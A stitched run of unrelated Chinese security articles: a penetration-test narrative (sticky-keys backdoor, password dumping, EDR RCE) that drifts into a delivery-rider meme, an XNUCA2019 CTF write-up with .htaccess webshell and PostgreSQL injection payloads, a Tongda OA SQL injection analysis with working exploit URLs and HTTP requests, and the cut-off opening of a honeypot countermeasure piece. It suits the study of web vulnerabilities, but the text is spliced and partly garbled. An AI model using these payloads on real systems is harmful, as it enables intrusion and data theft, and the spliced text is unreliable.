登录上来，很快啊，作为一个20岁的老师傅，下意识我一个闪电五连鞭（五下shift），啪，弹出一个黑框框。卧槽果然有前人搞过，再瞄了瞄资产列表登陆不上的基本都是win2003，统一都这样的方式进行提权加账号，win2003的使用wce
dump明文密码，接着针对这批2003跑一波，啪搞定。
再回过头想了想，好像刚开始拿的有几台主机上，安装了深xx的edr，恰好是那几天刚出来的，果断尝试一下。
啊这，root权限出来了。。我还费力打了半天其他机器，直接打edr供应链下发update不就完事。。
打完收工，传统武术讲的是点到为止，这时内网已经彻底沦陷了(主要供应链攻击我不会啊-3-)，如果我再发力，这内网可扛不住我的洪荒之力，安服仔握着我的手，激动的表示俺就是他的再生父母，我说小老弟能不能打赏一百块，这都耽误我一天工时，他说下次一定，我说年轻人不讲武德，我大意了没有闪，小伙子耗子为汁。我是一名普通的鹅了没骑手，每天奔波在寒风中。我不来，你焦虑、担心。我来，你释怀、欣喜。我不接电话，你怀疑、恼怒、惶恐。我接，你安心、淡然，大概这就是爱情吧。
## 总结
1.先对外网整体资产进行探测、整理
2.针对1009端口进行测试发现存在java rmi漏洞，利用该漏洞反弹进入，获得内网机器一台
3.获取当前机器上的明文密码A，K掉安全狗，lcx转发，连入目标机器RDP，利用明文密码A获取多台同Windows密码主机。
4.发现8uftp直通靶机主站，传入一句话连入，同时使用星号密码查看器获取8uftp的密码B，利用明文密码B获取多台同Windows密码主机
5.通过conn.asp获取到数据库密码C，执行命令反弹获取靶机系统权限，利用明文密码C获取多台同密码主机
6.重新梳理回到当前获得主机权限的机器上寻找面包屑，找到有一台机器管理员曾用来管理过linux，抓取linux密码，获得密码D，利用明文密码D获取多台同密码Linux主机
7.对当前不能登录的主机尝试五下shift键，发现已经有被入侵的痕迹，利用前人的路径，进入，获得明文密码E，再获取多台Windows2003机器
8.最后利用深x的edr rce把该edr应用权限拿下。 | 社区文章 |
# 写在开头
这篇是关于我出的ezphp和ezcrypto两道题目的设计想法、题解以及一些非预期解的分享。
本次XNUCA2019线上赛的所有WriteUp以及题目环境会陆续在<https://github.com/NeSE-Team/OurChallenges>这个repo中放出，有疑惑的师傅们可以关注这个repo。
# ezphp
## 前言
Ezphp设计的初衷是今年wctf的时候，我们在做pdoor这题时发现php-apache这个官方镜像的htaccess文件默认是生效的，因为脑海里一直有固有的htaccess文件默认不生效的想法，然后发现是`/etc/apache2/conf-enabled`目录下有一个docker-php.conf文件里设置了htaccess的生效。然后就想出一个能写htaccess情况下我们能做什么的题。
## 预期解
### htaccess生效
如果尝试上传htaccess文件会发现出现响应500的问题，因为文件尾有Just one chance
这里采用`# \`的方式将换行符转义成普通字符，就可以用`#`来注释单行了。
### 利用文件包含
代码中有一处`include_once("fl3g.php");`，php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php，在可以通过将include_path设置为tmp的方式来完成文件包含。
### tmp目录写文件
* 如何在指定目录写指定文件名的文件呢？php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。
* 如何触发报错呢？这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容，这时访问页面，页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错，而如果fl3g.php存在，则会因为include_path默认先访问web目录而不会报错。
* 写进error_log的内容会被html编码怎么绕过？这个点是比较常见的，采用utf7编码即可。
### payload
* 第一步，通过error_log配合include_path在tmp目录生成shell
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
* 第二步，通过include_path和utf7编码执行shell
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
## 非预期
比赛时候一共有18个队解出Ezphp这题。看了WriteUp后发现只有一个队伍是预期解做的，其余一个队采用了非预期1的方法，剩下的16个队都是用的非预期2。也算是自己出题的一个大失误了，因为本意是不想限制太严看看php的配置选项能完成什么更多的花来，但是非预期2脱离了我的本意Orz。
### 非预期1
因为正则判断写的是`if(preg_match("/[^a-z\.]/", $filename) == 1)
{`而不是`if(preg_match("/[^a-z\.]/", $filename) !== 0) {`，因此存在了被绕过的可能。
通过设置.htaccess
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
导致preg_match返回False，继而绕过了正则判断，filename即可通过伪协议绕过前面stristr的判断实现Getshell。
### 非预期2
惨痛的教训23333
上文提到用`\`来转义换行符来绕过最后加一行的限制。
所以同理你也可以用`\`来绕过stristr处的所有限制233333。型如
php_value auto_prepend_fi\
le ".htaccess"
# ezcrytpo
## 前言
Ezcrypto设计的初衷是上学期上密码学课的时候看了Dan Boneh的"Twenty Years of
Attacks on the RSA
Cryptosystem"，感觉很多RSA相关的攻击都是基于这篇文章提到的内容进行变形完成的，然后想着web狗应该也要会点密码学，于是出了这个题。Ezcrypto的密码学部分的确是很赤裸很简单，本质上还是一道Sql注入的题目。
### 密码学部分
本题的flag由root的密钥进行加密，且密钥生成是安全的。
但是user的密钥生成过程中，采用了从数据库中读取到的lowlimit以及uplimit作为私钥的上下界来生成。由于上界定在了0.4，因此这样的密钥生成存在有Boneh
and Durfee
attack的场景，即生成一个私钥的上界小于0.292时，N可以被分解。攻击脚本可以参考以下链接<https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage>
### 修改lowlimit
本题的第一考点就在于如何修改lowlimit以及uplimit的值。数据库操作均采用Django原生的ORM来实现，后端数据库为Postgresql。代码中只有在当前密钥加密次数用完时才会调用create_key去生成新的密钥，但是在这部分逻辑中，采用了限制很严的wafd以及限制括号次数的方式来保证不能在这部分逻辑中直接通过union
select的方式来返回一个小数比如0.254之类的数，去让lowlimit和uplimit满足条件。因此我们需要在分支的第一部分中，尝试将数据库中的lowlimit和uplimit的值进行修改，在分支的第二部分中利用create_key去生成新的密钥。
我们可以很明显的发现有一处数据库操作是有问题的。
records = Record.objects.extra(
where=['username=%s', 'message!=%s', 'luky!={0}'.format(luky)],
params=[user, message]
)
luky处没有采用到ORM语法的方式，而是采用了类似字符串拼接的方式来传入数据。当然，Django在采用extra来做查询的时候，我也只知道了`%s`的方式来安全的传参，对于数值型数据，我没有找到对应的方法，也就是说如果你用extra来写sql查询，的确可能存在类似上述的写法的存在。
现在的问题变成了当你拥有一处Select型的注入的时候，你怎么去修改数据库中的值。这里需要用到一个Django的ORM在实现的时候我个人认为没有做好的地方来完成这一点。因为观察代码我们知道，recordone在被select出来以后，后续会通过save函数进行更新，也就是update操作。那么如果我们将select的内容控制成我们想要的结构，意味着Django会update一个由我们控制的对象，而不是只是修改了代码中对应位置的对象。这一点在Flask中就不存在，Flask只会update在代码中显式更改的部分。
有了一个可控的update以后，我们还需要绕过wafs中对于`.-`的限制，即你不能直接通过小数或者科学计数法来表示一个纯小数。这部分应该会有各种各样花式的方法，这里提供一种方法是利用log和round函数来做到这一点，即round(log(80,3),3)=>0.251
这部分的payload为
47) union select "id",round(log(80,3),3),round(log(75,3),3),"username","secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("username"='test'
### 控制root密钥
第一步我们已经控制了user的密钥，使其变得不安全可以采用Boneh and Durfee
attack来分解N。但是flag是有root的密钥加密的而不是user。观察代码我们可以发现，在分支的第一部分，一直采用的是session中的值进行的加密，而不是数据库中的值。而root的session中的密钥在分支第二部分重新生成时会更新。
request.session['root_N'] = Nroot
request.session['root_E'] = Eroot
request.session['root_flag'] = root_flag
request.session[recordone.username + '_N'] = Nuser
request.session[recordone.username + '_E'] = Euser
request.session[recordone.username + '_flag'] = user_flag
观察以上代码可以发现，root_N和root_E先赋值，而recordone.username由于注入存在的关系，是我们可控的，因此我们可以通过控制recordone.username来使得session中的root_N和root_E错误的被Nuser和Euser来控制。也就意味着我们可以使得flag由一组脆弱的N和e生成。
这部分的payload为
47) union select "id","lowlimit","uplimit",'root',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("username"='test'
### 恢复用户名
上一步会将对应用户的用户名改变为root，这会影响到最后获取Nuser和Euser的值，因此在这里需要将用户名恢复过来。
47) union select "id","lowlimit","uplimit",'test',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("id"=1
同时输入一组正常的message和luky来获得一个使用Nuser和Euser加密的flag。
### 盲注Nuser和Euser
最后一步就是获取到数据库中的Nuser和Euser用于Boneh and Durfee
attack来分解。这里有两个问题。一是分支第一部分只有三次机会使用当前密钥，如果机会用完则密钥会更新。这里不存在直接回显即得的注入，只能通过盲注来完成。所以我们需要构造一个不会减少使用密钥次数的请求，且存在盲注需要的两种状态。
关注这部分代码
if len(records) == 0:
content = "<script>alert('必须修改明文和幸运数字');window.location='/';</script>"
return HttpResponse(content)
我们可以通过返回0个查询来触发这种状态。
第二个状态是来自这句代码
user_flag = crypt(message, request.session[recordone.username + '_N'], request.session[recordone.username + '_E'])
因为recordone.username是我们可控的，如果是一个session中不存在的键值，Django会抛出一个500错误的响应，这样即完成了两个状态，又使得代码不会走到使用次数减少的位置。
第二个问题是，Nuser和Euser这两个列名被禁止了，同时禁止了常见的一些表列名被禁止时的做法。此处用到了Postgresql特有的一个trick，最早在hitcon2017的SQL
so Hard非预期解中被提及，我感觉这个知识点国内好像不怎么提，所以特地再拿出来说一遍。Postgresql可以采用`U&"Eu!0073er"
UESCAPE
'!'`的方式来转义unicode字符，同时Postgresql的单引号和双引号是有明确含义的，而不是像Mysql那样存在混用的现象。即双引号可以用来表示列名而单引号则用来表示字符串。因此`U&"Eu!0073er"
UESCAPE '!'`这样的表示不会存在字符串的歧义，而是准确地表示了列名的含义。
盲注的测试payload为
47) union select "id","lowlimit","uplimit",'a',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where "id"=1 and (case when (substring(U&"Nu!0073er" UESCAPE '!' from 1 for 1)='1') then true else false end
本题相对过程比较复杂，主要考察了RSA的基本攻击方式、Django
ORM的一个问题以及Postgresql的一些特性，有点烦，所以flag原本设置也是叫`NeSE{mix_up1s-alittle^disgusting}` | 社区文章 |
**(这是写完这篇文章之后在这里补充的，我觉得，如果真的感兴趣，一定要看看2017那个SQL注入，简简单单的一个@和`'`，里面是真的细，惊到我了)**
## (一) 前言
通达OA（Office
Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。
这里感谢[jdr](https://xz.aliyun.com/u/39449)师傅前面整理的通达OA一些版本的漏洞复现，这里从漏洞点出发，分析漏洞，从中学些一些师傅白盒挖掘漏洞的思路。
安装包下载地址从网上的文章发现基本有2种，可以通过枚举版本号下载对应的安装包：
https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
https://www.tongda2000.com/download/down.php?VERSION=2019&code=
也可以从我整理好的百度网盘下载：
链接: https://pan.baidu.com/s/16Ie3yegEjdb--jabA0Zsxg 提取码: 4g6i
安装教程为傻瓜式一键安装，这里不细说。
默认账号密码admin/(空)
代码解密使用在线工具：<http://dezend.qiling.org/free/>
## (二) 信息收集
### 一、版本信息
/inc/expired.php
/inc/reg_trial.php
/inc/reg_trial_submit.php
### 二、计算机名
需要高于2013版本
/resque/worker.php
### 三、用户名&邮箱枚举
需要高于2013版本
/ispirit/retrieve_pwd.php?username=要枚举的用户
存在的用户
不存在的用户
## (三) 通达OA2013
### 一、/interface/ugo.php 报错注入
#### 漏洞复现
/interface/ugo.php?OA_USER=a%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20database()),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
#### 漏洞分析
1、首先定位到漏洞点/interface/ugo.php
使用函数urldecode解析$OA_USER，这也是为什么单引号使用 **%2527** 的原因
然后下面调用ext_login_check方法处理$OA_USER
2、全局搜索ext_login_check，在第16、17行看到直接拼接并调用方法exequery执行
3、exequery方法是这样定位的：
首先ugo.php包含了inc/session.php文件
session.php文件包含了inc/conn.php文件
在conn.php文件中就看到了exequery方法
4、前面简单处理了union select和info outfile和into dumpfile
if (!$LOG) {
$POS = stripos($Q, "union");
if ($POS !== FALSE && stripos($Q, "select", $POS) !== FALSE) {
exit;
}
$POS = stripos($Q, "into");
if ($POS !== FALSE && (stripos($Q, "outfile", $POS) !== FALSE || stripos($Q, "dumpfile", $POS) !== FALSE)) {
exit;
}
}
5、在这里执行了sql语句
### 二、/interface/auth.php 报错注入
#### 漏洞复现
这个复现是jdr师傅之前复现的，现在因为没有搞到更老版本的安装包，就直接用了，思路还是比较简单的。
/interface/auth.php?&PASSWORD=1&USER_ID=%df%27 and (select 1 from (select count(*),concat((select concat(0x3a,(select database()) ,0x3a) from user limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
#### 漏洞分析
1、根据URL定位漏洞点/interface/auth.php
2、关键代码截取下来了，很明显这里加了过滤，将一些字符替换为空，所以无法利用。
//替换为空
$USER_ID = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $USER_ID);
//检测传参是否非空，空的话exit
if ($USER_ID == "" || $PASSWORD == "") {
message("", _("»¥Áª»¥Í¨·ÃÎʽӿڵÄÓû§Ãû»òÃÜÂëÓÐÎó"));
exit;
}
//直接拼接USER_ID
$query = "select * from EXT_USER where USER_ID='" . $USER_ID . "'";
//调用exequery执行
$cursor = exequery($connection, $query);
### 三、/interface/go.php 报错注入
#### 漏洞复现
emm。。同上，我这里已经无法复现了
interface/go.php?APP_UNIT=a%2527 and 1=(select 1 from(select count(*),concat(database(),0x7c,user(),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) and %25271%2527=%25271
#### 漏洞分析
1、根据URL定位漏洞点/interface/go.php
2、OA_USER和APP_UNIT都进行了过滤
//过滤单引号等字符，替换为空
$OA_USER = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $OA_USER);
$APP_UNIT = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $APP_UNIT);
//直接拼接APP_UNIT
$query = "select MEMBER_ID from CONNECT_CONFIG where MEMBER_NAME='" . $APP_UNIT . "'";
//调用exequery方法执行
$cursor = exequery($connection, $query);
3、jdr师傅是复现了APP_UNIT参数的SQL注入，然后这里往下看，可以看到OA_USER与/interface/ugo.php中的一样，在下面调用了ext_login_check方法
if ($OA_USER == "admin") {
echo _("¸ÃÕʺÅÎÞȨ·ÃÎÊ");
exit;
}
session_start();
ob_start();
if ($LOGIN_USER_ID != $OA_USER) {
include_once "./auth.php";
$result = ext_login_check($OA_USER);
if ($result != "1") {
echo $result;
exit;
}
}
而ext_login_check方法是没有过滤的，所以，理论上，旧版本在/interface/go.php?OA_USER=应该也会有注入。
## (四) 通达OA2015
### 一、/ispirit/retrieve_pwd.php 盲注
#### 漏洞复现
1、判断是否存在注入
/ispirit/retrieve_pwd.php?_GET[username]=admin'or 1=1 and'a'='a
2、判断数据库长度为5
/ispirit/retrieve_pwd.php?_GET[username]=admin' or if((length(database())=5),1,power(88888,88)) and'a'='a
3、判断数据库是否为td_oa
/ispirit/retrieve_pwd.php?_GET[username]=admin'or if((database()='td_oa'),1,power(888888,88))and'a'='a
#### 漏洞分析
这里代码没找到旧版本的，就理性分析一下。
1、根据URL定位漏洞点/ispirit/retrieve_pwd.php
2、前面看到请求了2个参数username和email，然后username直接拼接
<?phpinclude_once "inc/conn.php";include_once "inc/utility_all.php";//get请求$username = $_GET["username"];$email = $_GET["email"];//直接拼接username$query = "SELECT UID,USER_ID,USER_NAME,USEING_KEY FROM USER WHERE BYNAME='{$username}'";//调用exequery执行$cursor = exequery(TD::conn(), $query);
3、定位exequery方法，在inc/conn.php中
4、首先看exequery方法，调用了db_query方法
function exequery($C, $Q, $QUERY_MASTER = false, $LOG = true)
{
$cursor = @db_query($Q, $C, $QUERY_MASTER);
if (!$cursor) {
printerror("<b>" . _("SQL") . "</b> " . $Q, $LOG);
}
return $cursor;
}
5、然后看db_query方法，第一行就调用sql_injection进行了检测是否存在SQL注入。往下可以看到还有一些其他检测如select和set的，这里推测应该是在一定基础上进行了一次绕过，然后就直接加了sql_injection方法在前面。
function db_query($Q, $C, $QUERY_MASTER = false)
{
sql_injection($Q, "'");
if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || strtolower(substr(ltrim($Q), 0, 6)) != "select" && strtolower(substr(ltrim($Q), 0, 3)) != "set")) {
if ($C == TD::$_res_conn && $C != TD::$_res_conn_master) {
if (!is_resource(TD::$_res_conn_master)) {
TD::$_res_conn_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db"]);
}
$C = TD::$_res_conn_master;
} else {
if ($C == TD::$_res_conn_crscell && $C != TD::$_res_conn_crscell_master) {
if (!is_resource(TD::$_res_conn_crscell_master)) {
TD::$_res_conn_crscell_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db_crscell"]);
}
$C = TD::$_res_conn_crscell_master;
}
}
}
return @mysql_query($Q, $C);
}
6、跟进到sql_injection方法，代码有点长，其实就是进行了黑名单校验。
$clean = trim(strtolower(preg_replace(array("~\\s+~s"), array(" "), $clean)));
if (strpos($clean, "union") !== false && preg_match("~(^|[^a-z])union(\$|[^[a-z])~s", $clean) != 0) {
if (2 < strpos($clean, "/*") || strpos($clean, "--") !== false || strpos($clean, "#") !== false) {
if (strpos($clean, "sleep") !== false && preg_match("~(^|[^a-z])sleep(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "benchmark") !== false && preg_match("~(^|[^a-z])benchmark(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "load_file") !== false && preg_match("~(^|[^a-z])load_file(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "cast") !== false && preg_match("~(^|[^a-z])mid(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "ord") !== false && preg_match("~(^|[^a-z])ord(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "ascii") !== false && preg_match("~(^|[^a-z])ascii(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "extractvalue") !== false && preg_match("~(^|[^a-z])extractvalue(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "updatexml") !== false && preg_match("~(^|[^a-z])updatexml(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "into outfile") !== false && preg_match("~(^|[^a-z])into\\s+outfile(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "exp") !== false && preg_match("~(^|[^a-z])exp(\$|[^[a-z])~s", $clean) != 0) {
if (stripos($db_string, "update") !== false && stripos($db_string, "user") !== false && stripos($db_string, "set") !== false && stripos($db_string, "file_priv") !== false) {
## (五) 通达OA2017
### 一、/general/document/index.php/setting/keywords/index 布尔盲注
#### 漏洞复现
数据包如下：
POST /general/document/index.php/setting/keywords/index HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
_SERVER[QUERY_STRING]=kname=1'+and@`'`+or+if(substr(user(),1,1)='r',1,exp(710))#
1、当数据库用户名第一个为r时，页面返回正常
2、用户名前4位，不为rooq，页面报错
为root时页面正常
#### 漏洞分析
1、根据请求定位漏洞点general/document/index.php
2、这里很明显，开始引用框架了，大概看出来是在\webroot\inc\td_framework\core\Framework.php文件中
简单理解一下其实跟tp框架差不多，就是controllers/文件/方法这样的。
3、因为payload路径为/general/document/index.php/setting/keywords/index，所以定位到文件：\webroot\general\document\controllers\setting\keywords.php的index方法。
4、查看分别是设置了config数组和data数组的值，其中第二行调用了 **_get_where** 方法
public function index()
{
$this->load->helper('td_doc');
$where = $this->_get_where();
$config['base_url'] = site_url('setting/keywords/index') . '?kname=' . $this->kname . '&category=' . $this->category;
$config['total_rows'] = $this->mkeyword->get_keywords_count($where);
$config['per_page'] = '6';
$config['uri_segment'] = 4;
$data['search_url'] = site_url('setting/keywords');
$data['pages'] = $this->_pagination($config, $where);
$data['keywords'] = $this->mkeyword->get_keywords($where, $this->uri->segment(4, 0), $config['per_page']);
$data['kname'] = $this->kname;
$data['category'] = $this->category;
$data['category_list'] = get_syscode_list('DOC_CATEGORY');
$this->load->view('setting/keywords', $data);
}
5、往前看，分析_get_where方法
public function _get_where()
{
//首先将$_SERVER['QUERY_STRING']参数值变成变量
parse_str($_SERVER['QUERY_STRING'], $_GET);
//因为已经传了kname，所以跳过
if (isset($_GET['kname'])) {
$this->kname = $_GET['kname'];
}
//不传参，也先不看
if (isset($_GET['category'])) {
$this->category = $_GET['category'];
}
$where = '';
//将kname的值拼接到$where中
if ($this->kname) {
$where = ' and kname like \'%' . $this->kname . '%\'';
}
//将category的值拼接到$where中
if ($this->category) {
$where .= ' and category=\'' . $this->category . '\'';
}
return $where;
}
6、可以看到这里就是漏洞点了，直接拼接传参到where中，那么回到index方法，注意这一段
$config['total_rows'] = $this->mkeyword->get_keywords_count($where);
调用了mkeyword的get_keywords_count方法，传参为拼接的$where
在文件最前面可以看到mkeyword为加载的model
7、定位到\webroot\general\document\models\mkeyword.php的get_keywords_count方法
8、代码如下，直接将传过来的$where拼接到sql语句中进行执行
public function get_keywords_count($where)
{
$sql = 'select count(*) as total from doc_keywords where 1=1' . $where;
$query = $this->db->query($sql, false, true, true);
return $query->row()->total;
}
9、然后，这里我就卡住了，因为解密文件的不顺利，我不能直接通过PHPstorm打开跳转找到query方法，于是我冥思苦想，找了好多文件，之后，回到代码中，这里是
**$this- >db->query**，那么是不是就是db这个class中的query方法呢。
我回去看了Framework.php，其中有这样一个配置，db指向了database
10、于是我在框架所在的目录下的libraris目录下，发现了database.php，在169行，成功发现了query方法
11、前面一段检测了select，进行了一些赋值
public function query($sql, $binds = false, $return_object = true, $QUERY_MASTER = false)
{ //截取字符串是不是为select
if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || ((strtolower(substr(ltrim($sql), 0, 6)) != 'select') && (strtolower(substr(ltrim($sql), 0, 3)) != 'set')))) {
if (!is_resource($this->master_conn_id)) {
$this->tomasterdb();
}
$this->conn_id = $this->master_conn_id;
}
else if (is_resource($this->slave_conn_id)) {
$this->conn_id = $this->slave_conn_id;
}
//$binds为false
if ($binds !== false) {
$sql = $this->compile_binds($sql, $binds);
}
//全局搜索save_queries，为true，将sql赋值到queries数组中
if ($this->save_queries == true) {
$this->queries[] = $sql;
}
$time_start = list($sm, $ss) = explode(' ', microtime());
12、往下看
//这里先调用方法_execute处理$sql
if (false === $this->result_id = $this->_execute($sql)) {
if ($this->save_queries == true) {
$this->query_times[] = 0;
}
$this->display_error();
return false;
}
$time_end = list($em, $es) = explode(' ', microtime());
$this->benchmark += ($em + $es) - ($sm + $ss);
if ($this->save_queries == true) {
$this->query_times[] = ($em + $es) - ($sm + $ss);
}
->query_count++;
if ($return_object !== true) {
return true;
}
//这里是最后的返回值，创建了一个TD_Database_result对象
$RES = new TD_Database_result();
$RES->conn_id = $this->conn_id;
$RES->result_id = $this->result_id;
return $RES;
13、查看_execute方法，调用了_prep_query方法处理字符串，然后调用db_query执行
14、_prep_query方法进行了一些delete的过滤
15、db_query方法以我多年的经验，很快找到是在/inc/conn.php文件中，这里跟前面2015的一样了，sql_injection基本过滤了注入需要的函数
16、回到前面的keyword.php，因为原复现的时候，是通过传参kname进行注入的，但是实际上我们发现还有一个category也好像没有任何过滤进行了执行，尝试之后发现，果然也存在
数据包如下：
POST /general/document/index.php/setting/keywords HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: http://10.211.55.3
Connection: close
Referer: http://10.211.55.3/general/document/index.php/setting/keywords
Cookie: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn
Upgrade-Insecure-Requests: 1
_SERVER%5BQUERY_STRING%5D=category%3D1%27%2Band%40%60%27%60%2Bor%2Bif%28substr%28user%28%29%2C1%2C4%29%3D%27root%27%2C1%2Cexp%28710%29%29%23
17、可能这就是分析漏洞的快乐吧，突然就发现了其他类似的接口同样存在漏洞。当然因为是sql注入，也想看看具体执行了什么语句，这里使用jdr师傅自己写的mysql监控工具监控mysql信息
工具下载地址：
<https://github.com/jdr2021/MysqlLogQuery>
数据库连接信息可以在这里看到
监控后执行，可以看到完整的sql语句
select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'
18、然后，我就好奇了为什么需要在里面加上
@`'`
19、尝试fuzz一下，发现，如果没有多一个单引号，关键字会被检测出来
_SERVER[QUERY_STRING]=category=1'+and@``+or+if(substr(user(),1,4)='root',1,exp(710))#
如果没有@，那么语句就会报错
_SERVER[QUERY_STRING]=category=1'+and`'`+or+if(substr(user(),1,4)='root',1,exp(710))#
20、这里就很明显发现了大佬们bypass的一个思路，首先通过单引号跳过了检测的代码，然后又通过@和反引号，使后面的语句成功执行。
我将sql语句放到数据库中执行，发现不会报错
但是如果删掉@，就报错了，因为多了个单引号
21、通过查阅资料我了解到了，mysql中的@表示设置一个变量，而``反引号则是转义符，这里是通过设置一个反引号的变量来绕过过滤。真的觉得太强了。
回到过滤的sql_injection方法，可以看到就是这里导致了存在绕过
22、因为直接看有点搞不清楚具体逻辑，于是我将其单独拎出来，编写成一个php文件运行调试
<?php
function sql_injection($db_string)
{
$clean = '';
$error = '';
$old_pos = 0;
$pos = -1;
while (true) {
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === false) {
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
//echo $clean;
while (true) {
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false) {
break;
} else {
if ($pos2 == false || $pos1 < $pos2) {
$pos = $pos1;
break;
}
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\\s+~s'), array(' '), $clean)));
echo $clean;
}
$a = "select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'";
sql_injection($a);
?>
可以看到输出结果已经去掉了后面的语句
23、因为后面的过滤都是过滤$clean，而这里很明显看到，$clean已经被 **@`'`**截断了，所以绕过了
经过调试分析代码，我理解了，在原来的获取注入点检测的逻辑，是将单引号里面的值替换为$s$，所以正常的SQL语句提取结果应该是：
select count(*) as total from doc_keywords where 1=1 and category='1' and or if(substr(user(),1,4)='root',1,exp(710))#'
#1、找第1、2个单引号
select count(*) as total from doc_keywords where 1=1 and category='1'
#2、找第3、4个单引号
and or if(substr(user(),1,4)='root'
24、再看看加了单引号之后的效果
select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'
#1、找第1、2个单引号
select count(*) as total from doc_keywords where 1=1 and category='1'
#2、找第3、4个单引号
'` or if(substr(user(),1,4)='
#3、第5个单引号后面到注释符前都没有单引号，所以不构成一对，不进行拼接
搞懂了，瞬间觉得师傅们的思路太强了。
## (六) 小结
大概整理了几个漏洞，本来是想说SQL注入可以简单过一遍的，但是在2017那个SQL注入那里，我学到了好多，分析这个漏洞也是最花时间的。这应该可以说是干货了，也因为之前没有接触过，所以被惊了一下。后面我会继续进行分析，大家一起学习。 | 社区文章 |
本文简单写下红蓝对抗过程中蓝队的一些溯源与反制方法。
一、蜜罐反制
（1）商用型
近年来越来越多的厂商选择部署商用蜜罐来诱导攻击者，衡量蜜罐好坏的关键因素为诱捕能力，即为诱惑捕捉能力。
利用蜜罐可以做到：获取攻击者的P（真实IP，代理IP等）、ID、操作系统、设备信息等，也可通过诱饵进行钓鱼反制。
蜜罐常见形式可以直观的分为web页面型，命令行型，windows型等。
web页面例如weblogic、phpmyadmin、crm等，攻击者可进行弱口令登陆，暴力破解，历史漏洞，后台shell等，蜜罐页面中会插入溯源jsonp，例如百度、163、腾讯、新浪的对攻击者的ID进行溯源蓝队也可以根据这个思路自己收集一些jsonp用于自制蜜罐中。web型蜜罐的识别方法为查看数据包，如果数据包中出现了很多的不属于该网站的js信息，很大程度上为蜜罐。另外溯源js经常会在页面上产生一个细小的像素点，通过像素点也可以来判断是否踩到了蜜罐。
命令行的例如redis（最常见也是攻击者最容易踩到的）、ssh等，此类获取到的信息偏向于IP，对于ID有一定难度。
